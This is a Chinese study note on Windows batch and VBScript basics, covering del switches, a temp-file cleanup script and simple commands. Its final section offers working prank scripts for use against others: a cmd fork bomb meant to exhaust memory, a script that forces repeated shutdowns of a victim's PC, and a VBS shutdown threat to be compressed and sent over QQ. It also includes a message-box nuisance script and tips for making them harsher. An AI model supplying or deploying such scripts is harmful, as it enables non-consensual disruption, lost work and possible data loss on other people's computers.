bat理解.docx
《bat理解.docx》由会员分享,可在线阅读,更多相关《bat理解.docx(12页珍藏版)》请在冰点文库上搜索。
bat理解
一:
含义
del删除命令
/P删除每一个文件之前提示确认
/F强制删除只读文件
/S从所有子目录删除指定文件
/Q安静模式。
删除全局通配符时,不要求确认
%systemdriver%系统文件夹
*.tmp指临时文件的通配符
/A根据属性选择要删除的文件
/S命令选项的显示语法会颠倒,即它只给您显示已经删除的文件,而不显示找不到的文件。
Attributes
R:
只读文件
S:
系统文件
H:
隐藏文件
A:
存档文件
-:
表示“否”的前缀
特殊标记符:
Escape(1B)ANSI转义字符引导符
Space(20)常用的参数界定符
Tab(09);=不常用的参数界定符
+COPY命令文件连接符
*?
文件通配符
""字符串界定符
|命令管道符
<>>>文件重定向符
@命令行回显屏蔽符
/参数开关引导符
:
批处理标签引导符
%批处理变量引导符
echo、@、call、pause、rem(小技巧:
用:
:
代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
1)echo表示显示此命令后的字符
2)echooff表示在此语句后所有运行的命令都不显示命令行本身
3)@与echooff相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
4)call调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
5)pause运行此句会暂停批处理的执行并在屏幕上显示“Pressanykeytocontinue...”或“请按任意键继续。
。
。
”的提示,等待用户按任意键后继续。
6)rem表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
所以
del/f/s/q%systemdrive%\*.tmp:
强制删除系统文件夹下所有的格式为tmp的文件,并且删除时不询问用户是否继续。
二:
例子
Eg
1)在系统文件夹下:
del/f/s/q%systemdrive%\*.tmp
del/f/s/q%systemdrive%\*._mp
del/f/s/q%systemdrive%\*.log
del/f/s/q%systemdrive%\*.gid
del/f/s/q%systemdrive%\*.chk
del/f/s/q%systemdrive%\*.old
del/f/s/q%systemdrive%\recycled\*.*
2)在windows文件下:
del/f/s/q%windir%\*.bak
del/f/s/q%windir%\prefetch\*.*
rd/s/q%windir%\temp&md%windir%\temp
3)在当前用户文件下:
del/f/q%userprofile%\cookies\*.*
del/f/q%userprofile%\recent\*.*
del/f/s/q"%userprofile%\LocalSettings\TemporaryInternetFiles\*.*"
del/f/s/q"%userprofile%\LocalSettings\Temp\*.*"
del/f/s/q"%userprofile%\recent\*.*"
echo清除系统LJ完成!
echo.&pause
最后的pause是暂停的意思,会出现按任意键继续,如果直接完成后退出请改成exit。
三:
文件含义
1)Tmp:
临时文件,一般是系统和应用程序产生的临时使用的文件。
正常退出,会自动删除,若非正常退出,则可能会保留在磁盘上。
2)Chk:
经由scanddisk所制造出来的,可以删除。
3)Old:
是某些文件发生改变后,系统自动将改动前的文件变成old,因些它不属于任何文件类型。
4)Prefetch:
xp自动创建的文件夹,是为了加快系统启动的进程。
****在删除系统多余的驱动和其他的服务.这样可以使你的系统运行速度比较快.但是如果你经常用其他的设备.又没有驱动盘.那么就不推荐这样做了.删除了它的驱动你还要去找驱动.这样比较麻烦.
****
四:
理解后缀
1).bak:
是备份文件,为文件格式扩展名。
一般来讲.bak文件可以通过直接重命名把bak替换成该文件的格式就可以恢复此文件并且正常打开了。
举个简单例子:
在autocad文件移动的时候有时会产生.bak文件,比如现在有一个asdfjk.dwg文件的备份文件asdfjk.bak
想要把备份文件恢复成正式文件只需要对该备份文件重命名把bak替换为dwg就可以打开了
同样,如果是word文件的备份文件只要把bak换成doc就可以了
还有,加密过的.bak文件是无法通过修改重命名来打开的,就是打开了也是乱码。
2).vbs
VBScript(MicrosoftVisualBasicScriptEditon).,微软公司可视化BASIC脚本版).正如其字面所透露的信息,VBS(VBScript的进一步简写)是基于VisualBasic的脚本语言.我进一步解释一下,MicrosoftVisualBasic是微软公司出品的一套可视化编程工具,语法基于Basic.脚本语言,就是不编译成二进制文件,直接由宿主(host)解释源代码并执行,简单点说就是你写的程序不需要编译成.exe,而是直接给用户发送.vbs的源程序,用户就能执行了
五:
一些简单的用法
1)要想在Bat文件下打开某个程序,则直接输入你要打开的程序路径即可
Eg:
D:
\AIRPLAY.DAT\AIRPLAY.exe、
2)想让两条命令执行中间间隔一段时间:
ping-n5127.0.0.1>null
*******
-n5这个参数就是显示5条回显信息(自我理解是等待了5秒)
>nul就是把回显的信息发送到空值里,这样回显信息就不会显示出来了,人们一般用这个命令来当计时器用的。
127.0.0.1好像是固定的。
3)想显示某目录下所有的文件夹eg:
dird:
\*.*
4)想显示当前的时间%date%%time%
5)想将字符串写入某个文件,应该:
echofeixia>F:
\系统垃圾清理\a.txt,重复使用这条语句,则文件a中仍然只有feixia这个字符串。
若是echofeixia>>F:
\系统垃圾清理\a.txt,重复使用这个语句,a文件中存储的字符串越来越多
6)计算并将计算结果从屏幕输出:
set/achoice=2+3echo%choice%
7)变量赋值:
sethzf=abcdecho%hzf% 显示为abcd
8)想将某文件内容从屏幕显示出来:
ifexistd:
\bat\bat.txttyped:
\bat\bat.txt
9)“//”也可以当是注释语句来用
10)if"%1"=="A"echofei
echo语句必须与if语句在一排,否则会报错
语句含义:
当在终端执行的第一个参数为A时,则打印出fei.
如何在终端输入:
先进入bat处理文件所在的文件夹,然后是bat处理文件的名字,再带上参数(try是bat处理文件的名字,A是参数)
11)不需要每次运行的时候都点右键,然后以管理员身份进入,只需在终端下先进入该bat处理文件所在的文件夹,然后输入bat处理文件的名字,即可运行。
12)给bat处理文件命名时,一定要注意,不能是cmd下的命令,如cd,copy等,否则就会报命令语法不正确。
13)一个文件的copy:
copyF:
\系统垃圾清理\a.txtF:
\系统垃圾清理\b.txt,详细可见该文件夹下的copy_test.bat
六:
几个用bat文件整人的例子
第一个:
让别人内存OVER(逼他重启)
@echooff
startcmd
%0
就这3行了
打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。
第二个:
让对方重启指定次数(害人专用)
@echooff
ifnotexistc:
\1.txtecho.>c:
\1.txt&gotoerr1
ifnotexistc:
\2.txtecho.>c:
\2.txt&gotoerr1
ifnotexistc:
\3.txtecho.>c:
\3.txt&gotoerr1
ifnotexistc:
\4.txtecho.>c:
\4.txt&gotoerr1
ifnotexistc:
\5.txtecho.>c:
\5.txt&gotoerr1
gotoerr2
:
err1
shutdown-s-t0
:
err2
上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个ifnotexistc:
\6.txtecho.>c:
\6.txt&gotoerr1那就是重启6次
改成7就是7次...
打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。
第三个:
善意恶搞关机
首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看
把隐藏已知文件类型的扩展名前面的勾去掉.
然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去
onerrorresumenext
dimWSHshellA
setWSHshellA=wscript.createobject("wscript.shell")
WSHshellA.run"cmd.exe/cshutdown-r-t60-c""说我是猪,不说我是猪就一分钟关你机,不信,试试···""",0,true
dima
dowhile(a<>"我是猪")
a=inputbox("说我是猪,就不关机,快撒,说""我是猪"" ","说不说","不说",8000,7000)
msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"
loop
msgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛"
dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
WSHshell.run"cmd.exe/cshutdown-a",0,true
msgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈,一切皆有可能~"
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机,
结束任务都不行,他只能说他是猪才能解决问题。
够坏吧?
注意哦,你可以把我是猪那个修改成任意想说的话,要是对付你喜欢的人,
就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦也可以把时间修改为20就是说打开了20秒就关了,还没等对方打完就关机了是不是叫对方很郁闷呢?
第四个:
让人崩溃的关机程序
首先你可以看下面的
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!
"&TSName)
WScript.Echo("你是可爱的XX童鞋吗?
")
WScript.Echo("哈,我想你拉,这你都不知道吗?
")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。
")
WScript.Echo("夜黑很生气,后果很严重哦。
")
WScript.Echo("嘿嘿!
你也会很惨滴哦")
WScript.Echo("是不是想清除我?
")
WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")
WScript.Echo("还剩49下,快点点哦")
WScript.Echo("还剩48下,快点,小笨蛋!
")
WScript.Echo("还剩47下对,就这样快点点!
")
WScript.Echo("还剩46下。
你啊就是笨,要快哦,我先不打扰你工作。
")
WScript.Echo("还剩45下,记得要快哦!
")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停!
!
!
慢点,我有话要说")
WScript.Echo("还剩12下,你继续点我就会消失滴")
WScript.Echo("还剩11下,以后就看不到我拉。
呜呜~555555")
WScript.Echo("还剩10下,你现在可以选择停止!
")
WScript.Echo("还剩9下。
你还点啊,不要我拉?
")
WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")
WScript.Echo("还剩7下。
疯了,你有点负意!
")
WScript.Echo("还剩6下。
对。
你就点吧,我恨你!
")
WScript.Echo("还剩5下,不明白,删除我你就好吗?
")
WScript.Echo("还剩4下!
真要删除我?
")
WScript.Echo("还剩3下。
可是我真的很眷恋你。
。
。
")
WScript.Echo("还剩2下。
不要这么绝情嘛,人家是爱你的!
")
WScript.Echo("还剩1下。
哼,既然你这么绝情。
也别怪我无义!
!
!
")
WScript.Echo("我本因该消失的,不过我留恋你滴芳容,万能的上帝又给了一次机会。
")
WScript.Echo("想结束我么?
那你就再多点一次")
WScript.Echo("想结束我么?
那你就再多点一次")
WScript.Echo("想结束我么?
那你就再多点一次")
WScript.Echo("想结束我么?
那你就再多点一次")
WScript.Echo("想结束我么?
那你就再多点一次")
WScript.Echo("想结束我么?
那你就再多点一次")
WScript.Echo("想结束我么?
那你就再多点一次")
WScript.Echo("想结束我么?
那你就再多点一次")
WScript.Echo("想结束我么?
那你就再多点一次")
WScript.Echo("想结束我么?
那你就再多点一次")
把这个复制在记事本,把后缀修改成.vbs
在打开呢就会先说第一句的嘿,谢谢你打开我哦,我等你很久拉!
他无论是点关闭或者是点确定都会再说第2句
再点就说地3句会按顺序说完
你们注意哦,最后10句话,只是10句,你要是把这个复制再粘贴N次,那他还有个打完呢?
这样才做到整人了,要是给喜欢的人发去啊,那就写你要说的话吧,双引号里面的可以随便更改
这个最简单的就是结束任务进程来结束它
以上均为自我理解,如有错误,请谅解!
!